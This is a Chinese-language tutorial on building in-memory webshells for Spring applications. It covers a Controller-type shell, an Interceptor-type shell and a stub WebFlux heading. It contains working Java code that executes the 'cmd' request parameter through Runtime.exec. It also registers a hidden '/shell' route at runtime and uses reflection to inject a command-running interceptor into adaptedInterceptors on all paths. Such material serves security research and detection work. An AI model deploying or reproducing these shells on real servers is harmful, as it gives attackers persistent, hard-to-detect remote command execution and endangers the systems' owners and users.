一、Spring Controller 型内存马
0. 新建 SpringBoot 项目
创建一个新的 SpringBoot 项目以支持 Controller 相关操作。
1. Spring Controller 使用
以下是 RestController 的实现,包含测试接口和命令执行接口:
@RestController
public class TestController {
@RequestMapping("/test")
public String test() {
return "test";
}
@RequestMapping("/rce")
public String rce(HttpServletRequest request, HttpServletResponse response, Object handler) {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return "rce";
}
}
2. 断点调试
参考资料:微信公众号文章
已知信息:
-
RequestMappingHandlerMapping#registerMapping用于注册路由映射。 -
通过上下文获取
context,然后使用getBean获取RequestMappingHandlerMapping实例。 -
registerMapping方法签名:public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) -
参数说明:
RequestMappingInfo mapping: 通过RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);创建。Object handler: 操作对象,例如new InjectedController()。Method method: 操作对象中的方法,例如InjectedController.class.getDeclaredMethod。
3. 内存马实现
动态注册 Controller 及映射路由:
// 获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 手动注册 Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 Controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
// 3. 定义访问 Controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 Controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 Controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
二、Spring Interceptor 型内存马
0. 新建 SpringBoot 项目
创建一个新的 SpringBoot 项目以支持 Interceptor 相关操作。
1. Spring Interceptor 使用
以下是 HandlerInterceptor 的实现及配置:
TestInterceptor.java
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}
WebConfig.java
@Configuration
@EnableWebMvc
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
// WebMvcConfigurer.super.addInterceptors(registry);
}
}
2. 断点调试
调试关键点:
- 在
preHandle方法下设置断点,找到this.getHandler。 - 在
this.getHandler下设置断点,进入HandlerExecutionChain。 - 查看
AbstractHandlerMapping#getHandlerExecutionChain方法。 - 关注
this.adaptedInterceptors字段。
3. 内存马实现
动态注册 Interceptor 及映射路由:
@RestController
public class InterceptorShell {
@RequestMapping("/inject")
public String inject() {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
try {
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(r);
list.add(new TestInterceptor());
} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
return "inject success";
}
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}
}
三、Spring Webflux 型内存马
内存马实现
动态注册 WebFilter 及映射路由。